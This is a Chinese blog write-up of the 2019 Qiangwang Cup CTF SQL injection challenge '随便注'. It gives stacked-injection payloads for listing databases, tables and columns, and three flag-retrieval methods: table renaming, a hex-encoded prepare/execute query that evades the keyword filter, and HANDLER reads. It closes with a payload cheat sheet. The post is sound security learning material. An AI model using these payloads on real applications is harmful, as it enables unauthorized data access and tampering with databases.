cr0fyの博客

生如夏花之灿烂,死如秋叶之静美

0%

强网杯 2019_随便注

这个题目有一点意思,单独放一个方便自己学习

常规

开头用万能密码试试水

1
admin' or '1' = '1

有回显
suibian1

测试字段数

1
1' order by 1#

到3的时候报错,说明字段数为2
Alt text

下一步尝试union注入

1
1' union select 1,2#

发现报错,并得知过滤的关键字
Alt text

看了大佬博客得知用堆叠注入(通过’;’注入多条SQL语句)

先爆数据库

1
1';show databases;#

Alt text

然后爆表

1
1';show tables;#

Alt text

这里有两个表
先尝试words表

1
1';show columns from words;#

Alt text

然后爆1919810931114514表
要注意当表名为数字的时候,需要用反引号包起来查询

1
1';show columns from `1919810931114514`;#

Alt text

这个时候普通方法结束了,需要整一点骚操作

在网上借鉴了大佬博客,发现有三种解题方法

解法1

使用rename把words表改为其他表名。

把1919810931114514表的名字改为words.

将flag名改为id

1
1' ; rename table words to word1 ; rename table `1919810931114514` to words ; alter table words change flag id varchar(100);#

Alt text

解法2

因为select被过滤,将select * from 1919810931114514进行16进制编码
构造payload得到

1
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

知识点

1.prepare…from…是预处理语句,会进行编码转换。
2.execute用来执行由SQLPrepare创建的SQL语句。
3.SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

解法3

1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

知识点总结

堆叠注入

1
2
3
1';show databases;# //数据库
1';show tables;# //表名
1';show columns from table;# //字段

修改表名和字段名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//改列名
alter table " table_name" change " column1" " column2" type;

alter table "table_name" rename "column1" to "column2";


//把table_name表下的column改名为new_column
alter table 'table_name' change 'column' 'new_column' type;

//添加一个列
alter table " table_name" add " column_name" type;

//删除一个列
alter table " table_name" drop " column_name" type;

//改变列的数据类型
alter table " table_name" alter column " column_name" type;